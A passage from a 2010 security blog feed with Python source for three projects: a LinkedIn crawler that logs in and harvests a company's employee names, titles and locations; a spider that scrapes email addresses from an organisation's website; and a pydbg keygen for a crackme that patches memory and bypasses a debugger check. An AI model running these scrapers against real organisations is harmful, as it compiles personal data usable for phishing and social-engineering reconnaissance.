from person_searchobj import person_searchobj

class LinkedinHTMLParser(HTMLParser.HTMLParser):
  &quot;&quot;&quot;
  subclass of HTMLParser specifically for parsing Linkedin names to person_searchobjs
  requires a call to .feed(data), stored data in the personArray
  &quot;&quot;&quot;
  def __init__(self):
    HTMLParser.HTMLParser.__init__(self)
    self.personArray = []
    self.personIndex = -1
    self.inGivenName = False
    self.inFamilyName = False
    self.inTitle = False
    self.inLocation = False

  def handle_starttag(self, tag, attrs):
    try:
      if tag == &quot;li&quot; and attrs[0][0] == &quot;class&quot; and (&quot;vcard&quot; in attrs[0][1]):
        self.personIndex += 1
        self.personArray.append(person_searchobj())
      if attrs[0][1] == &quot;given-name&quot; and self.personIndex &gt;=0:
        self.inGivenName = True
      elif attrs[0][1] == &quot;family-name&quot; and self.personIndex &gt;= 0:
        self.inFamilyName = True
      elif tag == &quot;dd&quot; and attrs[0][1] == &quot;title&quot; and self.personIndex &gt;= 0:
        self.inTitle = True
      elif tag == &quot;span&quot; and attrs[0][1] == &quot;location&quot; and self.personIndex &gt;= 0:
        self.inLocation = True
    except IndexError:
      pass

  def handle_endtag(self, tag):
    if tag == &quot;span&quot;:
      self.inGivenName = False
      self.inFamilyName = False
      self.inLocation = False
    elif tag == &quot;dd&quot;:
      self.inTitle = False

  def handle_data(self, data):
    if self.inGivenName:
      self.personArray[self.personIndex].givenName = data.strip()
    elif self.inFamilyName:
      self.personArray[self.personIndex].familyName = data.strip()
    elif self.inTitle:
      self.personArray[self.personIndex].title = data.strip()
    elif self.inLocation:
      self.personArray[self.personIndex].location = data.strip()

#for testing - use a file since this is just a parser
if __name__ == &quot;__main__&quot;:
  import sys
  file = open (&quot;test.htm&quot;)
  df = file.read()
  parser = LinkedinHTMLParser()
  parser.feed(df)
  print &quot;================&quot;
  for person in parser.personArray:
    print person.goog_printstring()
  file.close()
</pre></p>
<p>LinkedinPageGatherer.py &#8211; this is what should be called directly.</p>
<p><pre class="brush: python;">
#!/usr/bin/python

import urllib
import urllib2
import sys
import time
import copy
import pickle
import math

from person_searchobj import person_searchobj
from LinkedinHTMLParser import LinkedinHTMLParser
from GoogleQueery import GoogleQueery

#TODO add a test function that tests the website format for easy diagnostics when HTML changes
#TODO use HTMLParser like a sane person
class LinkedinPageGatherer:
  &quot;&quot;&quot;
  class that generates the initial linkeding queeries using the company name
  as a search parameter. These search strings will be searched using google
  to obtain additional information (these limited initial search strings usually lack
  vital info like names)
  &quot;&quot;&quot;
  def __init__(self, companyName, login, password, maxsearch=100,
               totalresultpercent=.7, maxskunk=100):
    &quot;&quot;&quot;
    login and password are params for a valid linkedin account
    maxsearch is the number of results - linkedin limit unpaid accounts to 100
    totalresultpercent is the number of results this script will try to find
    maxskunk is the number of searches this class will attempt before giving up
    &quot;&quot;&quot;
    #list of person_searchobj
    self.people_searchobj = []
    self.companyName = companyName
    self.login = login
    self.password = password
    self.fullurl = (&quot;http://www.linkedin.com/search?search=&amp;company=&quot;+companyName+
                    &quot;&amp;currentCompany=currentCompany&quot;, &quot;&amp;page_num=&quot;, &quot;0&quot;)
    self.opener = self.linkedin_login()
    #for the smart_people_adder
    self.searchSpecific = []
    #can only look at 100 people at a time. Parameters used to narrow down queries
    self.total_results = self.get_num_results()
    self.maxsearch = maxsearch
    self.totalresultpercent = totalresultpercent
    #self.extraparameters = {&quot;locationinfo&quot; : [], &quot;titleinfo&quot; : [], &quot;locationtitle&quot; : [] }
    #extraparameters is a simple stack that adds keywords to restrict the search
    self.extraparameters = []
    #TODO can only look at 100 people at a time - like to narrow down queries
    #and auto grab more
    currrespercent = 0.0
    skunked = 0
    currurl = self.fullurl[0] + self.fullurl[1]
    extraparamindex = 0

    while currrespercent &lt; self.totalresultpercent and skunked &lt;= maxskunk:
      numresults = self.get_num_results(currurl)
      save_num = len(self.people_searchobj)

      print &quot;-------&quot;
      print &quot;currurl&quot;, currurl
      print &quot;percentage&quot;, currrespercent
      print &quot;skunked&quot;, skunked
      print &quot;numresults&quot;, numresults
      print &quot;save_num&quot;, save_num

      for i in range (0, int(min(math.ceil(self.maxsearch/10), math.ceil(numresults/10)))):
        #function adds to self.people_searchobj
        print &quot;currurl&quot; + currurl + str(i)
        self.return_people_links(currurl + str(i))
      currrespercent = float(len(self.people_searchobj))/self.total_results
      if save_num == len(self.people_searchobj):
        skunked += 1
      for i in self.people_searchobj:
        pushTitles = [(&quot;title&quot;, gName) for gName in i.givenName.split()]
        #TODO this could be inproved for more detailed results, etc, but keeping it simple for now
        pushKeywords = [(&quot;keywords&quot;, gName) for gName in i.givenName.split()]
        pushTotal = pushTitles[:] + pushKeywords[:]
        #append to extraparameters if unique
        self.push_search_parameters(pushTotal)
      print &quot;parameters&quot;, self.extraparameters
      #get a new url to search for, if necessary
      #use the extra params in title, &quot;keywords&quot; parameters
      try:
        refineel = self.extraparameters[extraparamindex]
        extraparamindex += 1
        currurl = self.fullurl[0] + &quot;&amp;&quot; + refineel[0] + &quot;=&quot; + refineel[1] + self.fullurl[1]
      except IndexError:
        break

  &quot;&quot;&quot;
  #TODO: This idea is fine, but we should get names first to better distinguish people
  #also maybe should be moved
  def smart_people_adder(self):
    #we've already done a basic search, must do more
    if &quot;basic&quot; in self.searchSpecific:
  &quot;&quot;&quot;
  def return_people_links(self, linkedinurl):
    req = urllib2.Request(linkedinurl)
    fd = self.opener.open(req)
    pagedata = &quot;&quot;
    while 1:
      data = fd.read(2056)
      pagedata = pagedata + data
      if not len(data):
        break
    #print pagedata
    self.parse_page(pagedata)

  def parse_page(self, page):
    thesePeople = LinkedinHTMLParser()
    thesePeople.feed(page)
    for newperson in thesePeople.personArray:
      unique = True
      for oldperson in self.people_searchobj:
        #if all these things match but they really are different people, they
        #will likely still be found as unique google results
        if (oldperson.givenName == newperson.givenName and
            oldperson.familyName == newperson.familyName and
            oldperson.title == newperson.title and
            oldperson.location == oldperson.location):
              unique = False
              break
      if unique:
        self.people_searchobj.append(newperson)
  &quot;&quot;&quot;
    print &quot;=======================&quot;
    for person in self.people_searchobj:
      print person.goog_printstring()
  &quot;&quot;&quot;

  #return the number of results, very breakable
  def get_num_results(self, url=None):
    #by default return total in company
    if url == None:
      fd = self.opener.open(self.fullurl[0] + &quot;1&quot;)
    else:
      fd = self.opener.open(url)
    data = fd.read()
    fd.close()
    searchstr = &quot;&lt;p class=&quot;summary&quot;&gt;&quot;
    sindex = data.find(searchstr) + len(searchstr)
    eindex = data.find(&quot;&lt;/strong&gt;&quot;, sindex)
    return(int(data[sindex:eindex].strip().strip(&quot;&lt;strong&gt;&quot;).replace(&quot;,&quot;, &quot;&quot;).strip()))

  #returns an opener object that contains valid cookies
  def linkedin_login(self):
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
    urllib2.install_opener(opener)
    #login page
    fd = opener.open(&quot;https://www.linkedin.com/secure/login?trk=hb_signin&quot;)
    data = fd.read()
    fd.close()
    #csrf 'prevention' login value
    searchstr = &quot;&quot;&quot;&lt;input type=&quot;hidden&quot; name=&quot;csrfToken&quot; value=&quot;ajax:&quot;&quot;&quot;
    sindex = data.find(searchstr) + len(searchstr)
    eindex = data.find('&quot;', sindex)
    params = urllib.urlencode(dict(csrfToken=&quot;ajax:-&quot;+data[sindex:eindex],
                              session_key=self.login,
                              session_password=self.password,
                              session_login=&quot;Sign+In&quot;,
                              session_rikey=&quot;&quot;))
    #need the second request to get the csrf stuff, initial cookies
    request = urllib2.Request(&quot;https://www.linkedin.com/secure/login&quot;)
    request.add_header(&quot;Host&quot;, &quot;www.linkedin.com&quot;)
    request.add_header(&quot;Referer&quot;, &quot;https://www.linkedin.com/secure/login?trk=hb_signin&quot;)
    time.sleep(1.5)
    fd = opener.open(request, params)
    data = fd.read()
    if &quot;&lt;div id=&quot;header&quot; class=&quot;guest&quot;&gt;&quot; in data:
      print &quot;Linkedin authentication faild. Please supply a valid linkedin account&quot;
      sys.exit(1)
    else:
      print &quot;Linkedin authentication Successful&quot;
    fd.close()
    return opener

  def push_search_parameters(self, extraparam):
    uselesswords = [ &quot;for&quot;, &quot;the&quot;, &quot;and&quot;, &quot;at&quot;, &quot;in&quot;]
    for pm in extraparam:
      pm = (pm[0], pm[1].strip().lower())
      if (pm not in self.extraparameters) and (pm[1] not in uselesswords) and pm != None:
        self.extraparameters.append(pm)

class LinkedinTotalPageGather(LinkedinPageGatherer):
  &quot;&quot;&quot;
  Overhead class that generates the person_searchobjs, using GoogleQueery
  &quot;&quot;&quot;
  def __init__(self, companyName, login, password):
    LinkedinPageGatherer.__init__(self, companyName, login, password)
    extraPeople = []
    for person in self.people_searchobj:
      mgoogqueery = GoogleQueery(person.goog_printstring())
      #making the assumption that each pub url is a unique person
      count = 0
      for url in mgoogqueery.linkedinurl:
        #grab the real name from the url
        begindex = url.find(&quot;/pub/&quot;) + 5
        endindex = url.find(&quot;/&quot;, begindex)
        if count == 0:
          person.url = url
          person.name = url[begindex:endindex]
        else:
          extraObj = copy.deepcopy(person)
          extraObj.url = url
          extraObj.name = url[begindex:endindex]
          extraPeople.append(extraObj)
        count += 1
      print person
    print &quot;Extra People&quot;
    for person in extraPeople:
      print person
      self.people_searchobj.append(person)

if __name__ == &quot;__main__&quot;:
  #args are email and password for linkedin
  my = LinkedinTotalPageGather(company, sys.argv[1], sys.argv[2])
</pre></p>
<p>person_searchobj.py</p>
<p><pre class="brush: python;">
#! /usr/bin/python

class person_searchobj():
  &quot;&quot;&quot;this object is used for the google search and the final person object&quot;&quot;&quot;

  def __init__ (self, givenname=&quot;&quot;, familyname=&quot;&quot;, title=&quot;&quot;, organization=&quot;&quot;, location=&quot;&quot;):
    &quot;&quot;&quot;
    given name could be a title in this case, does not matter in terms of google
    but then may have to change for the final person object
    &quot;&quot;&quot;
    #&quot;name&quot; is their actual name, unlike givenName and family name which are linkedin names
    self.name = &quot;&quot;
    self.givenName = givenname
    self.familyName = familyname
    self.title = title
    self.organization = organization
    self.location = location

    #this is retrieved by GoogleQueery
    self.url = &quot;&quot;

  def goog_printstring(self):
    &quot;&quot;&quot;return the google print string used for queries&quot;&quot;&quot;
    retrstr = &quot;site:linkedin.com &quot;
    for i in  [self.givenName, self.familyName, self.title, self.organization, self.location]:
      if i != &quot;&quot;:
        retrstr += '&quot;' + i +'&quot; '
    return retrstr

  def __repr__(self):
    &quot;&quot;&quot;Overload __repr__ for easy printing. Mostly for debugging&quot;&quot;&quot;
    return (self.name + &quot;n&quot; +
            &quot;------n&quot;
            &quot;GivenName: &quot; + self.givenName + &quot;n&quot; +
            &quot;familyName:&quot; + self.familyName + &quot;n&quot; +
            &quot;Title:&quot; + self.title + &quot;n&quot; +
            &quot;Organization:&quot; + self.organization + &quot;n&quot; +
            &quot;Location&quot; + self.location + &quot;n&quot; +
            &quot;URL:&quot; + self.url + &quot;nn&quot;)

</pre> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/731/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/731/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/731/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/731/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/731/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/731/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/731/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/731/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/731/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/731/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/731/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/731/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/731/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/731/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=731&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/11/13/linkedin-crawler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>email_spider</title>
		<link>http://webstersprodigy.net/2010/08/13/email_spider/</link>
		<comments>http://webstersprodigy.net/2010/08/13/email_spider/#comments</comments>
		<pubDate>Fri, 13 Aug 2010 02:07:00 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[gradproject]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=719</guid>
		<description><![CDATA[This was a small part of a project that was itself about 1/3 of my graduate project. I used it to collect certain information. Here is the excerpt from the paper. Website Email Spider Program In order to automatically process publicly available email addresses, a simple tool was developed, with source code available in Appendix [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=719&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This was a small part of a project that was itself about 1/3 of my graduate project. I used it to collect certain information. Here is the excerpt from the paper.</p>
<p>Website Email Spider Program</p>
<p>In order to automatically process publicly available email addresses, a simple tool was developed, with source code available in Appendix A. An automated tool is able to process web pages in a way that is less error prone than manual methods, and it also makes processing the sheer number of websites possible (or at least less tedious).<br />
This tool begins at a few root pages, which can be comma delimited. From these, it searches for all unique links by keeping track of a queue so that pages are not usually revisited (although revisiting a page is still possible in case the server is case insensitive or equivalent pages are dynamically generated with unique URLs). In addition, the base class is passed a website scope so that pages outside of that scope are not spidered. By default, the scope is simply a regular expression including the top domain name of the organization.</p>
<p>Each page requested searches the contents for the following regular expression to identify common email formats:</p>
<p>[w_.-]{3,}@[w_.-]{6,}</p>
<p>The 3 and 6 repeaters were necessary because of false positives otherwise obtained due to various encodings. This regular expression will not obtain all email addresses. However, it will obtain the most common addresses with a minimum of false positives. In addition, the obtained email addresses are run against a blacklist of uninteresting generic form addresses (such as help@example.com, info@example.com, or sales@example.com).</p>
<p>These email addresses are saved in memory and reported when the program completes or is interrupted. Note because of the dynamic nature of some pages, these can potentially spider infinitely and must be interrupted (for example, a calendar application that uses links to go back in time indefinitely). Most emails seemed to be obtained in the first 1,000 pages crawled. A limit of 10,000 pages was chosen as a reasonable scope. Although this limit was reached several times, the spider program uses a breadth search method. It was observed that most unique addresses were obtained early in the spidering process, and extending the number of pages tended to have a diminishing return. Despite this, websites with more pages also tended to correlate with greater email addresses returned (see analysis section).</p>
<p>Much of the logic in the spidering tool is dedicated to correctly parsing html. By their nature, web pages vary widely with links, with many sites using a mix of directory traversal, absolute URLs, and partial URLs. It is no surprise there are so many security vulnerabilities related to browsers parsing this complex data.<br />
There is also an effort made to make the software somewhat more efficient by ignoring superfluous links to objects such as documents, executables, etc. Although if such a file is encountered an exception will catch the processing error, these files consume resources.</p>
<p>Using this tool is straightforward, but a certain familiarity is expected – it was not developed for an end user but for this specific experiment. For example, a URL is best processed in the format http://example.com/ since in its current state it would use example.com to verify that spidered addresses are within a reasonable scope. It prints debugging messages constantly because every site seemed to have unique parsing quirks. Although other formats and usages may work, there was little effort to make this software easy to use.</p>
<div id="_mcePaste">Here is the source.</div>
<p><pre class="brush: python;">
#!/usr/bin/python

import HTMLParser
import urllib2
import re
import sys
import signal
import socket

socket.setdefaulttimeout(20)

#spider is meant for a single url
#proto can be http, https, or any
class PageSpider(HTMLParser.HTMLParser):
  def __init__(self, url, scope, searchList=[], emailList=[], errorDict={}):
    HTMLParser.HTMLParser.__init__(self)
    self.url = url
    self.scope = scope
    self.searchList = searchList
    self.emailList = emailList
    try:
      urlre = re.search(r&quot;(w+):[/]+([^/]+).*&quot;, self.url)
      self.baseurl = urlre.group(2)
      self.proto = urlre.group(1)
    except AttributeError:
      raise Exception(&quot;URLFormat&quot;, &quot;URL passed is invalid&quot;)
    if self.scope == None:
      self.scope = self.baseurl
    try:
      req = urllib2.urlopen(self.url)
      htmlstuff = req.read()
    except KeyboardInterrupt:
      raise
    except urllib2.HTTPError:
      #not able to fetch a url eg 404
      errorDict[&quot;link&quot;] += 1
      print &quot;Warning: link error&quot;
      return
    except urllib2.URLError:
      errorDict[&quot;link&quot;] += 1
      print &quot;Warning: URLError&quot;
      return
    except ValueError:
      errorDict[&quot;link&quot;] += 1
      print &quot;Warning link error&quot;
      return
    except:
      print &quot;Unknown Error&quot;, self.url
      errorDict[&quot;link&quot;] += 1
      return
    emailre = re.compile(r&quot;[w_.-]{3,}@[w_.-]{2,}.[w_.-]{2,}&quot;)
    nemail = re.findall(emailre, htmlstuff)
    for i in nemail:
      if i not in self.emailList:
        self.emailList.append(i)
    try:
      self.feed(htmlstuff)
    except HTMLParser.HTMLParseError:
      errorDict[&quot;parse&quot;] += 1
      print &quot;Warning: HTML Parse Error&quot;
      pass
    except UnicodeDecodeError:
      errorDict[&quot;decoding&quot;] += 1
      print &quot;Warning: Unicode Decode Error&quot;
      pass
  def handle_starttag(self, tag, attrs):
    if (tag == &quot;a&quot; or tag ==&quot;link&quot;) and attrs:
      #process the url formats, make sure the base is in scope
      for k, v in attrs:
        #check it's an htref and that it's within scope
        if  (k == &quot;href&quot; and
            (((&quot;http&quot; in v) and (re.search(self.scope, v))) or
            (&quot;http&quot; not in v)) and
            (not (v.endswith(&quot;.pdf&quot;) or v.endswith(&quot;.exe&quot;) or
             v.endswith(&quot;.doc&quot;) or v.endswith(&quot;.docx&quot;) or
             v.endswith(&quot;.jpg&quot;) or v.endswith(&quot;.jpeg&quot;) or
             v.endswith(&quot;.png&quot;) or v.endswith(&quot;.css&quot;) or
             v.endswith(&quot;.gif&quot;) or v.endswith(&quot;.GIF&quot;) or
             v.endswith(&quot;.mp3&quot;) or v.endswith(&quot;.mp4&quot;) or
             v.endswith(&quot;.mov&quot;) or v.endswith(&quot;.MOV&quot;) or
             v.endswith(&quot;.avi&quot;) or v.endswith(&quot;.flv&quot;) or
             v.endswith(&quot;.wmv&quot;) or v.endswith(&quot;.wav&quot;) or
             v.endswith(&quot;.ogg&quot;) or v.endswith(&quot;.odt&quot;) or
             v.endswith(&quot;.zip&quot;) or v.endswith(&quot;.gz&quot;) or
             v.endswith(&quot;.bz&quot;) or v.endswith(&quot;.tar&quot;) or
             v.endswith(&quot;.xls&quot;) or v.endswith(&quot;.xlsx&quot;) or
             v.endswith(&quot;.qt&quot;) or v.endswith(&quot;.divx&quot;) or
             v.endswith(&quot;.JPG&quot;) or v.endswith(&quot;.JPEG&quot;)))):
          #Also todo - modify regex so that &gt;= 3 chars in front &gt;= 7 chars in back
          url = self.urlProcess(v)
          #TODO 10000 is completely arbitrary
          if (url not in self.searchList) and (url != None) and len(self.searchList) &lt; 10000:
            self.searchList.append(url)
  #returns complete url in the form http://stuff/bleh
  #as input handles (./url, http://stuff/bleh/url, //stuff/bleh/url)
  def urlProcess(self, link):
    link = link.strip()
    if &quot;http&quot; in link:
      return (link)
    elif link.startswith(&quot;//&quot;):
      return self.proto + &quot;://&quot; + link[2:]
    elif link.startswith(&quot;/&quot;):
      return self.proto + &quot;://&quot; + self.baseurl + link
    elif link.startswith(&quot;#&quot;):
      return None
    elif &quot;:&quot; not in link and &quot; &quot; not in link:
      while link.startswith(&quot;../&quot;):
        link = link[3:]
        #TODO [8:-1] is just a heuristic, but too many misses shouldn't be bad... maybe?
        if self.url.endswith(&quot;/&quot;) and (&quot;/&quot; in self.url[8:-1]):
          self.url = self.url[:self.url.rfind(&quot;/&quot;, 0, -1)] + &quot;/&quot;
      dir = self.url[:self.url.rfind(&quot;/&quot;)] + &quot;/&quot;
      return dir + link
    return None

class SiteSpider:
  def __init__(self, searchList, scope=None, verbocity=True, maxDepth=4):
    #TODO maxDepth logic
    #necessary to add to this list to avoid infinite loops
    self.searchList = searchList
    self.emailList = []
    self.errors = {&quot;decoding&quot;:0, &quot;link&quot;:0, &quot;parse&quot;:0, &quot;connection&quot;:0, &quot;unknown&quot;:0}
    if scope == None:
      try:
        urlre = re.search(r&quot;(w+):[/]+([^/]+).*&quot;, self.searchList[0])
        self.scope = urlre.group(2)
      except AttributeError:
        raise Exception(&quot;URLFormat&quot;, &quot;URL passed is invalid&quot;)
    else:
      self.scope = scope
    index = 0
    threshhold = 0
    while 1:
      try:
        PageSpider(self.searchList[index], self.scope, self.searchList, self.emailList, self.errors)
        if verbocity:
          print self.searchList[index]
          print &quot; Total Emails:&quot;, len(self.emailList)
          print &quot; Pages Processed:&quot;, index
          print &quot; Pages Found:&quot;, len(self.searchList)
        index += 1
      except IndexError:
        break
      except KeyboardInterrupt:
        break
      except:
        threshhold += 1
        print &quot;Warning: unknown error&quot;
        self.errors[&quot;unknown&quot;] += 1
        if threshhold &gt;= 40:
          break
        pass
    garbageEmails =   [ &quot;help&quot;,
                        &quot;webmaster&quot;,
                        &quot;contact&quot;,
                        &quot;sales&quot; ]
    print &quot;REPORT&quot;
    print &quot;----------&quot;
    for email in self.emailList:
      if email not in garbageEmails:
        print email
    print &quot;nTotal Emails:&quot;, len(self.emailList)
    print &quot;Pages Processed:&quot;, index
    print &quot;Errors:&quot;, self.errors

if __name__ == &quot;__main__&quot;:
  SiteSpider(sys.argv[1].split(&quot;,&quot;))

</pre> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/719/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/719/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/719/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/719/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/719/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/719/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/719/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/719/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/719/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/719/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/719/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/719/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/719/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/719/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=719&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/08/13/email_spider/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>pydbg reverseme solution</title>
		<link>http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/</link>
		<comments>http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 04:49:45 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[windoze]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[pydbg]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=698</guid>
		<description><![CDATA[Last week I wrote a keygen here. This is an almost identical problem, but the binary has been patched to allow debugging (I may do this programmaticly as well, but not yet). I wanted to solve this with programmatic debugging. Here is the exe: Ice9pch3. The code simply sets a breakpoint and prints the key [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=698&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Last week I wrote a keygen <a href="http://webstersprodigy.wordpress.com/2010/06/22/reverseme-windows-keygen/" title="Reverseme Windows Keygen">here</a>.</p>
<p>This is an almost identical problem, but the binary has been patched to allow debugging (I may do this programmaticly as well, but not yet). I wanted to solve this with programmatic debugging. Here is the exe:<br />
<a href='https://skydrive.live.com/redir.aspx?cid=19794fac33285fd5&amp;resid=19794FAC33285FD5!154&amp;parid=19794FAC33285FD5!109'>Ice9pch3</a>.</p>
<p>The code simply sets a breakpoint and prints the key to the screen. Also it patches the process memory so that the serial is valid.</p>
<p><pre class="brush: python;">
import sys
import ctypes

from pydbg import *
from pydbg.defines import *


print &quot;This is a very stupid keygen that uses a debug method and grabs the key from memory&quot;
print &quot;prints out the valid key, and writes it to memory&quot;
print &quot;Basically, pydbg 'hello, world'&quot;
print &quot;-------------&quot;

if len(sys.argv) != 2:
    print &quot;Error. USAGE: keygen.py C:fullpathice&quot;
    sys.exit(-1)

def handler_breakpoint(mdbg):
    valid_str = &quot;&quot;
    #the valid serial is at 004030C8
    addr = 0x004030C8
    while 1:
        tmp = mdbg.read(addr, 1)
        addr += 1
        if tmp != &quot;x00&quot;:
            valid_str = valid_str + tmp
        else:
            break
    print &quot;The valid string is: &quot;, valid_str
    print &quot;Writing this to memory...&quot;
    #write this to memory at 004030b4
    #def write (self, address, data, length=0)
    wdata = ctypes.create_string_buffer(valid_str)
    mdbg.write(0x00403198, wdata, len(valid_str))
    #checking the write
    #print mdbg.read(0x00403198, len(valid_str) + 1)
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)
dbg.load(sys.argv[1])
dbg.debug_event_iteration()
#at 004011FF in execution, 
#def bp_set (self, address, description=&quot;&quot;, restore=True, handler=None):
dbg.bp_set(0x004011F5)
dbg.debug_event_loop()

</pre> </p>
<p>Updated solution. I change a register now to circumvent the isdebuggerpresent call.</p>
<p><pre class="brush: python;">
import sys
import ctypes

from pydbg import *
from pydbg.defines import *


print &quot;This is a very stupid keygen that uses a debug method and grabs the key from memory&quot;
print &quot;prints out the valid key, and writes it to memory&quot;
print &quot;Basically, pydbg 'hello, world'&quot;
print &quot;-------------&quot;

if len(sys.argv) != 2:
    print &quot;Error. USAGE: keygen.py C:fullpathice&quot;
    sys.exit(-1)

def handler_breakpoint(mdbg):
    if mdbg.get_register(&quot;EIP&quot;) == 0x004011F5:
        valid_str = &quot;&quot;
        #the valid serial is at 004030C8
        addr = 0x004030C8
        while 1:
            tmp = mdbg.read(addr, 1)
            addr += 1
            if tmp != &quot;x00&quot;:
                valid_str = valid_str + tmp
            else:
                break
        print &quot;The valid string is: &quot;, valid_str
        print &quot;Writing this to memory...&quot;
        #write this to memory at 004030b4
        #def write (self, address, data, length=0)
        #wdata = ctypes.create_string_buffer(valid_str)
        mdbg.write(0x00403198, valid_str, len(valid_str))
        #checking the write
        #print mdbg.read(0x00403198, len(valid_str) + 1)
    if mdbg.get_register(&quot;EIP&quot;) == 0x40106e:
        mdbg.set_register(&quot;EAX&quot;, 0)
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)
dbg.load(sys.argv[1])
dbg.debug_event_iteration()
#0x40106e is the point where we can circumvent the isdebugger present call
dbg.bp_set(0x40106e)
#at 004011FF in execution, 
#breakpoing for reading writing final compare
dbg.bp_set(0x004011F5)
dbg.debug_event_loop()
</pre> </p>
